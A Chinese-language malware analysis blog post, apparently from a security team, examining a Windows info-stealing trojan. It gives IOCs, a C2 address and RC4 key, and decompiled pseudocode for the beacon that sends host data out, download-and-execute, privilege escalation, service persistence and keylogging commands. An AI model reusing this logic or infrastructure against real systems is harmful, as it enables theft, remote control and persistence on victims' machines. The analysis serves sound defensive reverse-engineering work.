IOC
MD5 2c6ff180f035fc4b84557a3d1c7a1df2
SHA-1 5721810e9e28f6236bca252b92b7b25c47fb5409
SHA-256 50ee17c3836a1d9daa734b394f5cfc5eeade5656d472bc3ac7538e4eb687bdb6
File type Win32 EXE
Magic PE32 executable for MS Windows (GUI) Intel 80386 32-bit
Creation Time 2022-03-09 01:33:19 UTC
该样本在首次出现在VT上的时间为今年三月份,是一个窃密木马,样本来源不方便透露。
静态分析&动态调试
解密恶意代码
在代码0x40AA70处开始解密数据段中0x412154地址处的数据,该隐藏的数据为恶意代码模块。解密出完整的模块(实质是一个dll库)后,调用fuckyou这个导出函数。
分析思路
在ida中初步静态分析,发现代码功能被分散在不同的异常处理中。该样本伪装成一个MFC框架开发的前台程序,但是实则对话框是不显示的,后台运行,所有图片等资源都是用于伪装。在procmon中观察到其存在网络活动,但是导入表中没有导入任何网络库及网络函数,猜测要么是动态加载,甚至可能存在加密代码。我觉得这是一个可以快速定位恶意代码位置的切入点,于是动态调试并对LoadLibrary函数下断点。成功发现ws2_32库的加载,以及socket函数的的导入。在socket函数调用处断下,再由此返回到用户领空,成功来到恶意代码段,发现该代码段是一个新的基址,证明恶意代码是被加密存储在样本中。根据栈的记录来到该模块的调用顶层,也就是fuckyou函数。接下来,沿着fuckyou函数往下分析。
char fuckyou()
{
DWORD v0; // eax
void *v1; // esi
char result; // al
void *v3; // esi
void *v4; // esi
CHAR String; // [esp+Ch] [ebp-7B0h]
char v6; // [esp+Dh] [ebp-7AFh]
__int16 v7; // [esp+409h] [ebp-3B3h]
char v8; // [esp+40Bh] [ebp-3B1h]
CHAR Filename; // [esp+40Ch] [ebp-3B0h]
struct _OSVERSIONINFOA VersionInformation; // [esp+510h] [ebp-2ACh]
CHAR Source; // [esp+5A4h] [ebp-218h]
char v12; // [esp+5F3h] [ebp-1C9h]
CHAR Dst; // [esp+5F4h] [ebp-1C8h]
struct tagMSG Msg; // [esp+6F8h] [ebp-C4h]
struct _OSVERSIONINFOA v15; // [esp+714h] [ebp-A8h]
SERVICE_TABLE_ENTRYA ServiceStartTable; // [esp+7A8h] [ebp-14h]
int v17; // [esp+7B0h] [ebp-Ch]
int v18; // [esp+7B4h] [ebp-8h]
CHAR Format; // [esp+7B8h] [ebp-4h]
char v20; // [esp+7B9h] [ebp-3h]
char v21; // [esp+7BAh] [ebp-2h]
GetInputState();
v0 = GetCurrentThreadId();
PostThreadMessageA(v0, 0, 0, 0);
GetMessageA(&Msg, 0, 0, 0);
VersionInformation.dwOSVersionInfoSize = 148;
GetVersionExA(&VersionInformation);
if ( &unk_64AFEE ) // 根据配置文件设置判断是否启用功能
sub_646B8B(0, 0, (int)sub_6457A7, (int)&unk_64AFEE, 0, 0);// 从网络上下载文件并保存到C盘中
if ( dword_64AFE8 )
sub_645414(); // 若进程列表中存在“rundll32.exe”进程则杀死
if ( !byte_64AFD8 )
{
String = 0;
memset(&v6, 0, 0x3FCu);
v7 = 0;
v8 = 0;
Format = 37;
v20 = 115;
v21 = 0;
sprintf(ServiceName, &Format, ServiceName);
ServiceStartTable.lpServiceName = (LPSTR)1852731203;
ServiceStartTable.lpServiceProc = (LPSERVICE_MAIN_FUNCTIONA)'Gtce';
v17 = 'puor';
LOBYTE(v18) = 0;
sub_64467B((int)ServiceName, (int)&ServiceStartTable, &String, 0x400u);
if ( !lstrlenA(&String) )
{
sub_642EA4((int)ServiceName, aDefault);
sub_64546B((int)ServiceName);
}
v4 = (void *)sub_646B8B(0, 0, (int)sub_645A0F, 0, 0, 0);
WaitForSingleObject(v4, 0xFFFFFFFF);
CloseHandle(v4);
while ( 1 )
Sleep(0xF4240u);
}
v15.dwOSVersionInfoSize = 156;
GetVersionExA(&v15);
sub_64505B(&v15.dwMajorVersion, &v15.dwMinorVersion, &v15.dwBuildNumber);
if ( v15.dwMajorVersion == 10 && !v15.dwMinorVersion )
{
CreateThread(0, 0, (LPTHREAD_START_ROUTINE)StartAddress, 0, 0, 0);// 注册表设置开机自启动
v1 = (void *)sub_646B8B(0, 0, (int)sub_645A0F, 0, 0, 0);
WaitForSingleObject(v1, 0xFFFFFFFF);
CloseHandle(v1);
while ( 1 )
Sleep(0xF4240u);
}
result = byte_64AFD8;
if ( byte_64AFD8 == 2 )
{
if ( sub_646AB6() )
{
ServiceStartTable.lpServiceName = ServiceName;
ServiceStartTable.lpServiceProc = (LPSERVICE_MAIN_FUNCTIONA)sub_645E8B;
v17 = 0;
v18 = 0;
Sleep(0x1F4u);
StartServiceCtrlDispatcherA(&ServiceStartTable);
Sleep(0x3E8u);
StartServiceCtrlDispatcherA(&ServiceStartTable);
}
else
{ // 备份样本,取名'Ejdbnls.exe',设置受保护属性隐藏该文件
ExpandEnvironmentStringsA(Src, &Dst, 0x104u);
Format = 37;
v20 = 115;
v21 = 0;
wsprintfA(&Source, &Format, aEjdbnlsExe);
if ( *(&v12 + strlen(&Dst)) == 92 )
*(&v12 + strlen(&Dst)) = 0;
strcat(&Dst, ::Source);
strcat(&Dst, &Source);
GetModuleFileNameA(0, &Filename, 0xE1u);
CopyFileA(&Filename, &Dst, 0);
sub_646726(ServiceName, DisplayName, aYouoswAyeqekmc);// 注册作为服务
sub_642EA4((int)ServiceName, aDefault);
sub_64546B((int)ServiceName);
Sleep(0x1F4u);
}
sub_645CC7(); // 连接C2服务器以及访问控制
ExitProcess(0);
}
if ( byte_64AFD8 == 1 )
{
sub_642EA4((int)ServiceName, aDefault);
sub_64546B((int)ServiceName);
sub_646F4A(aRavmondExe);
CreateThread(0, 0, (LPTHREAD_START_ROUTINE)sub_6461C2, 0, 0, 0);
v3 = (void *)sub_646B8B(0, 0, (int)sub_645A0F, 0, 0, 0);
WaitForSingleObject(v3, 0xFFFFFFFF);
CloseHandle(v3);
while ( 1 )
Sleep(0xF4240u);
}
return result;
}
主动与C2连接
在sub_645CC7函数中,该样本开始与C2服务器进行交互。一路分析到函数sub_645A0F,该函数首先根据固定密钥初始化密钥空间,然后与154.91.159.105:8000建立连接,之后启动一根线程处理接受到的数据包。数据包处理例程为函数sub_641D5F。
在函数sub_645A0F中设置目标IP和端口(固定IP和固定端口)。该样本的网络数据收发需要经过三轮加密解密,初始化的密钥空间服务于第二轮加密,为RC4加密算法,密钥为”EwinhProtocolHosty”。
第一轮加密算法异或1如下:
int __stdcall sub_641A38(int a1, unsigned int a2)
{
v12 = 0;
v2 = 0;
v3 = a2 / 3;
v5 = 3;
v6 = 5;
v7 = 8;
v8 = 2;
v9 = 9;
v10 = 7;
v11 = 4;
v13 = 3;
v14 = 9;
v15 = 2;
v16 = 9;
v17 = 1;
v18 = 5;
if ( a2 / 3 )
{
do
{
if ( v2 == 14 )
v2 = 0;
LODWORD(v3) = v2;
LOBYTE(v3) = *((_BYTE *)&v5 + 2 * v2);
*(_BYTE *)(HIDWORD(v3) + a1) ^= v3;
++v2;
++HIDWORD(v3);
}
while ( HIDWORD(v3) < a2 / 3 );
}
return v3;
}
第三轮加密算法异或2如下:
int __cdecl sub_6419BD(int a1, int a2, int a3){
v3 = 0; v4 = 0;
for ( HIWORD(a3) = a3;
v3 < a2; ++v3 ) {
if ( v4 == 1 )
v4 = 0;
v5 = (*(_BYTE *)(v3 + a1) ^ *((_BYTE *)&a3 + 2 * v4++ + 2)) + 122;
*(_BYTE *)(v3 + a1) = v5;
}
return a1;
}
向C2发送用户基本信息
与C2建立TCP连接后,首先会收集受害主机上的系统信息,并作为第一个消息发送给对方,具体代码位于sub_64512F函数中。
void *__cdecl sub_64512F(int a1, int a2, int a3)
{
.......
memset(&Dst, 0, 556u);
Dst = 0xC8u;
lstrcpyA(&String1, ServiceName);
v3 = sub_6447D9((int)&String1, &String, 0x100u) == 0;
v4 = aDefault_0;
if ( !v3 )
v4 = &String;
lstrcpyA(&v12, v4); // description
sub_64478A((int)&String1, &Src, 256);
memset(&name, 0, 0x10u);
namelen = 16;
getsockname(*(_DWORD *)(a2 + 72), &name, &namelen);
memcpy(&v13, &name.sa_data[2], 4u); // sockname
memcpy(&v14, &Src, 50u); // hostname
VersionInformation.dwOSVersionInfoSize = 0x9C;
GetVersionExA(&VersionInformation);
sub_64505B(&VersionInformation.dwMajorVersion, &VersionInformation.dwMinorVersion, &VersionInformation.dwBuildNumber);
cbData = 4;
Type = 4;
RegOpenKeyA(HKEY_LOCAL_MACHINE, aHardwareDescri, &phkResult);
RegQueryValueExA(phkResult, ValueName, 0, &Type, Data, &cbData);
RegCloseKey(phkResult);
v34 = *(unsigned int *)Data;
v17 = (double)*(unsigned int *)Data * 0.0009765625;// cpu性能
sub_644655(&v16); // SystemInfo,取前1字节
v26 = sub_6450A3(); // table0Speed
wsprintfA(&v27, aV52);
if ( !aV52 )
wsprintfA(&v27, aV50); // 版本信息
Buffer.dwLength = 0x40;
GlobalMemoryStatusEx(&Buffer);
v5 = 0;
v21 = Buffer.ullTotalPhys >> 20; // TotalPhys
v6 = 0;
do
{
v43 = 0;
v41 = 58;
RootPathName = v6 + 'B';
v42 = 92;
if ( GetDriveTypeA(&RootPathName) == 3 )
{
GetDiskFreeSpaceExA(&RootPathName, &FreeBytesAvailableToCaller, &TotalNumberOfBytes, &TotalNumberOfFreeBytes);
v5 += TotalNumberOfBytes.QuadPart >> 20;
}
++v6;
}
while ( v6 < 26 );
v22 = v5; // DiskFreeSpace
v18 = a3; // time
v19 = sub_644530(); // 该样本实例计数,根据函数CoCreateInstance猜测
v20 = sub_6448AD() != 0; // Iswow64process
memset(&v24, 0, 100u);
sub_6448FD(&v24); // 是否系统中存在杀毒软件,有则返回该软件名称
v28 = 0;
plii.cbSize = 8;
GetLastInputInfo(&plii);
if ( GetTickCount() - plii.dwTime > 180000 )
v28 = 1; // 距离最后一次键盘输入时间是否过去180000个时间滴答数
sub_64484B((int)&String1, &v23, 50u);
lstrcpyA(&v25, byte_64AC90);
return sendData((char *)a2, &Dst, 556u);
}
经过逆向分析,将该消息对应的结构体内容进行还原,struct大小为556个字节,详细如下:
struct DATA{
char description[45];
char sockname[4];
char hostname[50]; //主机名
_OSVERSIONINFOA VersionInformation; //操作系统信息,156个字节
char SystemInfo; v16//系统处理器位数
float cpuMz; v17//cpu性能
int InstanceCount; //该样本实例计数
int time;//当前时间(tickcount)
bool Iswow64process;
int TotalPhys;
int DiskFreeSpace;//剩余空闲磁盘空间大小(MB)
CHAR MarkTime[50]; //注册表HKEY_LOCAL_MACHINESYSTEMCurrentControlSetservicesRswvbs bqivzhmoMarkTime项的值,是恶意样本入侵的日期
char 360tray[100]; v24//是否系统中存在杀毒软件,有则返回该软件名称
char v25; //0
unsigned int table0Speed;v26// 接口0的传输速度
char vinfo[32];//版本信息
int LastInput3; //距离最后一次键盘输入时间是否过去180000个时间滴答数
};
向C2提供复杂的控制功能
在建立连接后启动一根线程专门负责接收数据包,在三层解密后递交给数据包解析函数sub_643991,该函数负责解析数据包中的内容,然后进行相应的响应。
分析sub_643991函数,发现第一个字节的内容为操作类型码,定义如何处理和解析该包,也可以理解为命令。如第一个字节是0x77时,会执行将样本拷贝到特定路径下,并设置开机自启动。
1.窃取QQ的界面信息
操作码为0x2,调用sub_6427C4函数,利用qq程序的窗口类名”CTXOPConntion_Class”,获取当前系统登录的QQ号的界面信息。
2.键盘点击记录
操作码为0x6C时,将启动一个线程调用sub_6424F4函数来负责监听键盘使用,并记录在系统目录下的default.key文件中。
后面还有很多命令,不太想看了,就是查微软开发文档翻译功能的工作。
该样本在运行后会先收集系统信息发送给C2。当收到C2的数据包后,会根据第一个字节解析,并按照相关处理分支执行对应的任务,遇到信息收集类的模块会将收集到的内容发一份回去。
3.安装新模块
操作码为0x6B时,将启动一个线程调用sub_64299C函数来安装新的dll模块到进程中,可以看出该样本是可扩展的。
4.下载PE文件并运行
操作码为0x6时,将调用sub_6435EA函数从C2上下载文件,并执行该文件。
int __cdecl sub_6435EA(HANDLE hFile){
unsigned int v1;
eax CHAR *v2;
esi struct _STARTUPINFOA StartupInfo;
[esp+4h] [ebp-54h] struct _PROCESS_INFORMATION ProcessInformation;
[esp+48h] [ebp-10h] v1 = sub_642F09(hFile, 47);
v2 = (CHAR *)(v1 + 1);
if ( v1 == -1 || !sub_64340F(hFile, (LPCSTR)(v1 + 1)) || !sub_646F29(v2) )
return 0;
memset(&StartupInfo.lpReserved, 0, 0x40u);
StartupInfo.cb = 68;
StartupInfo.lpDesktop = aWinsta0Default;
CreateProcessA(0, v2, 0, 0, 0, 0, 0, 0, &StartupInfo, &ProcessInformation);//执行
sub_642EF2(v2);
return 1;
}
char __cdecl sub_64340F(HANDLE hFile, LPCSTR lpFileName)//下载文件{ nNumberOfBytesToWrite = 0; NumberOfBytesWritten = 0;
v11 = 1;
v15 = 1;
v2 = LoadLibraryA(LibFileName); hModule = v2;
InternetOpenA = GetProcAddress(v2, ProcName);
v12 = ((int (__stdcall *)(char *, _DWORD, _DWORD, _DWORD, _DWORD))InternetOpenA)(aMsie60, 0, 0, 0, 0);
if ( v12 && (InternetOpenUrlA = GetProcAddress(v2, aInternetopenur), (v10 = ((int (__stdcall *)(int, HANDLE, _DWORD, _DWORD, unsigned int, _DWORD))InternetOpenUrlA)( v12,hFile,0,0,2147483648,0)) != 0) ) {
hFilea = CreateFileA(lpFileName, 0x40000000u, 0, 0, 2u, 0, 0); if ( hFilea != (HANDLE)-1 ){ while ( 1 ){
memset(&Dst, 0, 0x400u);
v6 = GetProcAddress(hModule, aInternetreadfi);
((void (__stdcall *)(int, __int16 *, signed int, DWORD *))v6)(v10, &Dst, 1024, &nNumberOfBytesToWrite);
if ( v11 ) {
if ( Dst != 23117 )
break;
}
v11 = 0;
WriteFile(hFilea, &Dst, nNumberOfBytesToWrite, &NumberOfBytesWritten, 0);
if ( nNumberOfBytesToWrite <= 0 )
goto LABEL_12;
}
v15 = 0;
LABEL_12:CloseHandle(hFilea);
v2 = hModule;
}
Sleep(1u);
......
return result;}
5.提权
操作码0x0,调用sub_642C7E函数,通过提升进程令牌权限来提升进程权限。
int __cdecl sub_646DA6(int a1, int a2)
{
HMODULE v2; // ebx
HMODULE v3; // eax
FARPROC v4; // eax
int v5; // eax
int result; // eax
HMODULE v7; // eax
int (*v8)(void); // eax
int v9; // [esp+Ch] [ebp-28h]
char v10; // [esp+10h] [ebp-24h]
int v11; // [esp+18h] [ebp-1Ch]
FARPROC v12; // [esp+1Ch] [ebp-18h]
FARPROC v13; // [esp+20h] [ebp-14h]
FARPROC v14; // [esp+24h] [ebp-10h]
HMODULE hLibModule; // [esp+28h] [ebp-Ch]
HANDLE hObject; // [esp+2Ch] [ebp-8h]
unsigned __int8 v17; // [esp+33h] [ebp-1h]
v17 = 1;
v2 = LoadLibraryA(aAdvapi32Dll_0);
v14 = GetProcAddress(v2, aOpenprocesstok);
v12 = GetProcAddress(v2, aAdjusttokenpri);
v13 = GetProcAddress(v2, aLookupprivileg);
v3 = LoadLibraryA(aKernel32Dll_0);
hLibModule = v3;
v4 = GetProcAddress(v3, aGetcurrentproc);
v5 = ((int (__stdcall *)(signed int, HANDLE *))v4)(40, &hObject);
result = ((int (__stdcall *)(int))v14)(v5);
if ( result )
{
v9 = 1;
v11 = a2 != 0 ? 2 : 0;
((void (__stdcall *)(_DWORD, int, char *))v13)(0, a1, &v10);
((void (__stdcall *)(HANDLE, _DWORD, int *, signed int, _DWORD, _DWORD))v12)(hObject, 0, &v9, 16, 0, 0);
v7 = LoadLibraryA(aKernel32Dll_2);
v8 = (int (*)(void))GetProcAddress(v7, aGetlasterror);
if ( v8() )
v17 = 0;
CloseHandle(hObject);
if ( v2 )
FreeLibrary(v2);
if ( hLibModule )
FreeLibrary(hLibModule);
result = v17;
}
return result;
}
6.其他
还有其他操作码,就不展开了。
注册为服务
sub_646726函数将Ejdbnls.exe备份样本作为服务启动。
void __cdecl sub_646726(LPCSTR lpServiceName, LPCSTR lpDisplayName, LPCSTR lpString)
{
size_t v3; // eax
SC_HANDLE v4; // edi
SC_HANDLE v5; // eax
int v6; // eax
int v7; // [esp+10h] [ebp-3B8h]
int v8; // [esp+14h] [ebp-3B4h]
int v9; // [esp+18h] [ebp-3B0h]
int v10; // [esp+1Ch] [ebp-3ACh]
int *v11; // [esp+20h] [ebp-3A8h]
SC_LOCK ScLock; // [esp+24h] [ebp-3A4h]
int v13; // [esp+28h] [ebp-3A0h]
int v14; // [esp+2Ch] [ebp-39Ch]
int v15; // [esp+30h] [ebp-398h]
int v16; // [esp+34h] [ebp-394h]
int v17; // [esp+38h] [ebp-390h]
int v18; // [esp+3Ch] [ebp-38Ch]
CHAR *Info; // [esp+40h] [ebp-388h]
CHAR Source; // [esp+44h] [ebp-384h]
CHAR v21; // [esp+94h] [ebp-334h]
char v22; // [esp+95h] [ebp-333h]
char v23; // [esp+96h] [ebp-332h]
SC_HANDLE hService; // [esp+98h] [ebp-330h]
SC_HANDLE hSCManager; // [esp+9Ch] [ebp-32Ch]
CHAR Filename; // [esp+A0h] [ebp-328h]
HKEY phkResult; // [esp+1A4h] [ebp-224h]
CHAR Dst; // [esp+1A8h] [ebp-220h]
char Dest; // [esp+2ACh] [ebp-11Ch]
CPPEH_RECORD ms_exc; // [esp+3B0h] [ebp-18h]
GetModuleFileNameA(0, &Filename, 0x104u);
ExpandEnvironmentStringsA(Src, &Dst, 0x104u);
v3 = strlen(&Dst);
if ( strncmp(&Dst, &Filename, v3) )
{
sub_645993(&Dst);
v21 = 37;
v22 = 115;
v23 = 0;
wsprintfA(&Source, &v21, aEjdbnlsExe);
if ( *((_BYTE *)&phkResult + strlen(&Dst) + 3) == 92 )
*((_BYTE *)&phkResult + strlen(&Dst) + 3) = 0;
strcat(&Dst, ::Source);
strcat(&Dst, &Source);
CopyFileA(&Filename, &Dst, 0);
sub_6458AA(&Dst);
memset(&Filename, 0, 0x104u);
strcpy(&Filename, &Dst);
SetFileAttributesA(&Dst, (unsigned __int16)word_64AFEC);
}
phkResult = 0;
hService = 0;
hSCManager = 0;
ms_exc.registration.TryLevel = 0;
v4 = OpenSCManagerA(0, 0, 0xF003Fu);
hSCManager = v4;
if ( v4 )
{
hService = CreateServiceA(v4, lpServiceName, lpDisplayName, 0xF01FFu, 0x110u, 2u, 1u, &Dst, 0, 0, 0, 0, 0);
ScLock = LockServiceDatabase(v4);
Info = ServiceName;
ChangeServiceConfig2A(hService, 1u, &Info);
v8 = 0;
v7 = 86400;
v14 = 7000;
v13 = 1;
v16 = 0;
v15 = 1;
v18 = 0;
v17 = 1;
v10 = 3;
v11 = &v13;
v9 = 0;
ChangeServiceConfig2A(hService, 2u, &v7);
UnlockServiceDatabase(ScLock);
if ( !hService && GetLastError() == 1073 )
{
v5 = OpenServiceA(hSCManager, lpServiceName, 0xF01FFu);
hService = v5;
if ( !v5 )
goto LABEL_12;
StartServiceA(v5, 0, 0);
}
if ( StartServiceA(hService, 0, 0) )
{
strcpy(&Dest, aSystemCurrentc);
strcat(&Dest, lpServiceName);
RegOpenKeyA(HKEY_LOCAL_MACHINE, &Dest, &phkResult);
v6 = lstrlenA(lpString);
RegSetValueExA(phkResult, aDescription, 0, 1u, (const BYTE *)lpString, v6);
}
}
LABEL_12:
ms_exc.registration.TryLevel = -1;
if ( hService )
CloseServiceHandle(hService);
if ( hSCManager )
CloseServiceHandle(hSCManager);
if ( phkResult )
RegCloseKey(phkResult);
Sleep(0x1F4u);
if ( dword_64AFD4 )
sub_645CF4();
}
sub_642D6B函数将Ejdbnls.exe备份样本注册为开机自启动服务。
修复建议
该样本运行后会自动清除自身,我们只需将C:Program Files (x86)目录下的备份,以及将启动的服务停止并删除即可修复系统。注册表中的配置残留可以不用理会,因为少了样本备份的映像文件,就没有执行的实体。
end
招新小广告
ChaMd5 Venom 招收大佬入圈
新成立组IOT+工控+样本分析 长期招新
原文始发于微信公众号(ChaMd5安全团队):某窃密木马分析